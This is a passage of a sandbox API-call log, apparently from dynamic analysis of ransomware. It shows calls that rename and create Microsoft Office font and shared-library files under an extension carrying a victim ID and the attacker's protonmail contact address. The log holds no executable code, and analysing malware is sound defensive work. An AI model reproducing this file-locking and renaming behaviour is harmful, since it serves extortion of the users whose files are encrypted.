lpNewFilePointer=0x0) returned 1 [0281.499] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FREESCPT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\freescpt.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.499] CloseHandle (hObject=0x126c) returned 1 [0281.501] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.501] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRSCRIPT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\frscript.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.501] CloseHandle (hObject=0x126c) returned 1 [0281.502] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.502] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FTLTLT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ftltlt.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.503] CloseHandle (hObject=0x126c) returned 1 [0281.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GABRIOLA.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gabriola.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GABRIOLA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gabriola.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0281.505] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.505] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GADUGI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gadugi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.505] CloseHandle (hObject=0x126c) returned 1 [0281.507] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.507] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GADUGIB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gadugib.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.508] CloseHandle (hObject=0x126c) returned 1 [0281.508] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.509] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GARA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gara.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.509] CloseHandle (hObject=0x126c) returned 1 [0281.510] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.510] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GARABD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\garabd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.510] CloseHandle (hObject=0x126c) returned 1 [0281.511] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.511] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GARAIT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\garait.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.511] CloseHandle (hObject=0x126c) returned 1 [0281.512] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.512] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GIGI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gigi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.513] CloseHandle (hObject=0x126c) returned 1 [0281.514] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.514] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GILBI___.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gilbi___.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.515] CloseHandle (hObject=0x126c) returned 1 [0281.515] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.516] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GILB____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gilb____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.516] CloseHandle (hObject=0x126c) returned 1 [0281.517] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.517] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GILC____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gilc____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.517] CloseHandle (hObject=0x126c) returned 1 [0281.518] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.519] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GILI____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gili____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.519] CloseHandle (hObject=0x126c) returned 1 [0281.520] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.520] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GILLUBCD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gillubcd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.520] CloseHandle (hObject=0x126c) returned 1 [0281.521] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.521] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GILSANUB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gilsanub.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.522] CloseHandle (hObject=0x126c) returned 1 [0281.522] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.523] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GIL_____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\gil_____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.523] CloseHandle (hObject=0x126c) returned 1 [0281.524] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.524] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GLECB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\glecb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.525] CloseHandle (hObject=0x126c) returned 1 [0282.621] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.621] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\GLSNECB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\glsnecb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.622] CloseHandle (hObject=0x10c0) returned 1 [0282.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.804] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.804] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.804] CloseHandle (hObject=0x11bc) returned 1 [0282.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.807] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.807] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mtextra.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.807] CloseHandle (hObject=0x11bc) returned 1 [0282.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\filters\\offfiltx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\offfiltx.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\filters\\offfiltx.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\VISFILT.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\filters\\visfilt.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.814] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.814] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\epsimp32.flt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.814] CloseHandle (hObject=0x11bc) returned 1 [0282.815] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.815] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\gifimp32.flt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.816] CloseHandle (hObject=0x11bc) returned 1 [0282.816] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.816] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\jpegim32.flt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.817] CloseHandle (hObject=0x11bc) returned 1 [0282.817] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.817] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.wpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.817] CloseHandle (hObject=0x11bc) returned 1 [0282.818] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.818] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\pictim32.flt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.818] CloseHandle (hObject=0x11bc) returned 1 [0282.819] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.819] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\png32.flt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.819] CloseHandle (hObject=0x11bc) returned 1 [0282.820] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.820] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\wpgimp32.flt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.821] CloseHandle (hObject=0x11bc) returned 1 [0282.823] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.823] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.824] CloseHandle (hObject=0x11bc) returned 1 [0282.826] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, 